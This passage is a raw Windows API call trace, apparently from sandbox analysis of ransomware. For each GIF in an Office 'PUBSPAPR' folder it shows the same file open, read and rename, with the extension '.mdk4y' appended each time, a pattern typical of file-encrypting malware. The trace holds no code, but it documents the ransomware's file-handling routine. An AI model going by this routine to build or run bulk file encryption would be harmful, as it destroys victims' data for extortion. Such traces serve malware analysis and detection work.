(in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR16F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR16F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0196.977] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir16f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827220800000) returned 1 [0196.978] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x399f, lpOverlapped=0x0) returned 1 [0196.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827220900000) returned 1 [0196.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827220900000) returned 1 [0196.980] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir16f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir16f.gif.mdk4y")) returned 1 [0196.980] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.980] AreFileApisANSI () returned 1 [0196.980] GetACP () returned 0x4e4 [0196.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR17F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR17F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0196.980] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir17f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827221100000) returned 1 [0196.981] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2bb7, lpOverlapped=0x0) returned 1 [0197.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827224100000) returned 1 [0197.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827224100000) returned 1 [0197.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir17f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir17f.gif.mdk4y")) returned 1 [0197.013] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.013] AreFileApisANSI () returned 1 [0197.013] GetACP () returned 0x4e4 [0197.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR18F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR18F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.013] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir18f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827224400000) returned 1 [0197.014] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x41f4, lpOverlapped=0x0) returned 1 [0197.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827225900000) returned 1 [0197.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827225900000) returned 1 [0197.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir18f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir18f.gif.mdk4y")) returned 1 [0197.031] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.031] AreFileApisANSI () returned 1 [0197.031] GetACP () returned 0x4e4 [0197.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR19F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR19F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.031] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir19f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827226100000) returned 1 [0197.031] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc4f, lpOverlapped=0x0) returned 1 [0197.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827227700000) returned 1 [0197.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827227700000) returned 1 [0197.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir19f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir19f.gif.mdk4y")) returned 1 [0197.048] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.048] AreFileApisANSI () returned 1 [0197.048] GetACP () returned 0x4e4 [0197.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR1B.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR1B.GIFF", lpUsedDefaultChar=0x37dec0) returned 10 [0197.048] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.049] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827227900000) returned 1 [0197.049] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd98, lpOverlapped=0x0) returned 1 [0197.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827228000000) returned 1 [0197.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827228000000) returned 1 [0197.050] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif.mdk4y")) returned 1 [0197.051] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.051] AreFileApisANSI () returned 1 [0197.051] GetACP () returned 0x4e4 [0197.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR1F.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR1F.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0197.051] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827228200000) returned 1 [0197.052] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf6d, lpOverlapped=0x0) returned 1 [0197.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827233100000) returned 1 [0197.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827233100000) returned 1 [0197.102] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1f.gif.mdk4y")) returned 1 [0197.103] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.103] AreFileApisANSI () returned 1 [0197.103] GetACP () returned 0x4e4 [0197.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR20F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR20F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.103] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir20f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.104] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827233400000) returned 1 [0197.104] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3408, lpOverlapped=0x0) returned 1 [0197.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827250600000) returned 1 [0197.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827250600000) returned 1 [0197.276] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir20f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir20f.gif.mdk4y")) returned 1 [0197.278] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.278] AreFileApisANSI () returned 1 [0197.278] GetACP () returned 0x4e4 [0197.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR21F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR21F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.278] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir21f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.279] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827250900000) returned 1 [0197.279] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2d7e, lpOverlapped=0x0) returned 1 [0197.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827252400000) returned 1 [0197.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827252500000) returned 1 [0197.295] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir21f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir21f.gif.mdk4y")) returned 1 [0197.296] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.296] AreFileApisANSI () returned 1 [0197.296] GetACP () returned 0x4e4 [0197.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR22F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR22F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.296] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir22f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827252700000) returned 1 [0197.297] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1fd7, lpOverlapped=0x0) returned 1 [0197.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827256800000) returned 1 [0197.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827256800000) returned 1 [0197.339] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir22f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir22f.gif.mdk4y")) returned 1 [0197.361] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.361] AreFileApisANSI () returned 1 [0197.361] GetACP () returned 0x4e4 [0197.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR23F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR23F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.361] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir23f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827259200000) returned 1 [0197.362] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x313b, lpOverlapped=0x0) returned 1 [0197.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827265800000) returned 1 [0197.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827265800000) returned 1 [0197.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir23f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir23f.gif.mdk4y")) returned 1 [0197.430] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.430] AreFileApisANSI () returned 1 [0197.430] GetACP () returned 0x4e4 [0197.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR24F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR24F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.430] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir24f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827266100000) returned 1 [0197.431] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x16ad, lpOverlapped=0x0) returned 1 [0197.446] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827267600000) returned 1 [0197.446] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827267600000) returned 1 [0197.447] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir24f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir24f.gif.mdk4y")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.448] AreFileApisANSI () returned 1 [0197.448] GetACP () returned 0x4e4 [0197.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR25F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR25F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.448] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir25f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827267900000) returned 1 [0197.449] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3187, lpOverlapped=0x0) returned 1 [0197.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827268000000) returned 1 [0197.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827268000000) returned 1 [0197.451] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir25f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir25f.gif.mdk4y")) returned 1 [0197.452] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.452] AreFileApisANSI () returned 1 [0197.452] GetACP () returned 0x4e4 [0197.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR26F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR26F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.452] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir26f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827268200000) returned 1 [0197.452] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1985, lpOverlapped=0x0) returned 1 [0197.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827269300000) returned 1 [0197.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827269300000) returned 1 [0197.463] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir26f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir26f.gif.mdk4y")) returned 1 [0197.464] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.464] AreFileApisANSI () returned 1 [0197.464] GetACP () returned 0x4e4 [0197.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR27F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR27F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.464] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir27f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827269500000) returned 1 [0197.465] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1cd3, lpOverlapped=0x0) returned 1 [0197.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827270900000) returned 1 [0197.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827270900000) returned 1 [0197.479] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir27f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir27f.gif.mdk4y")) returned 1 [0197.480] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.480] 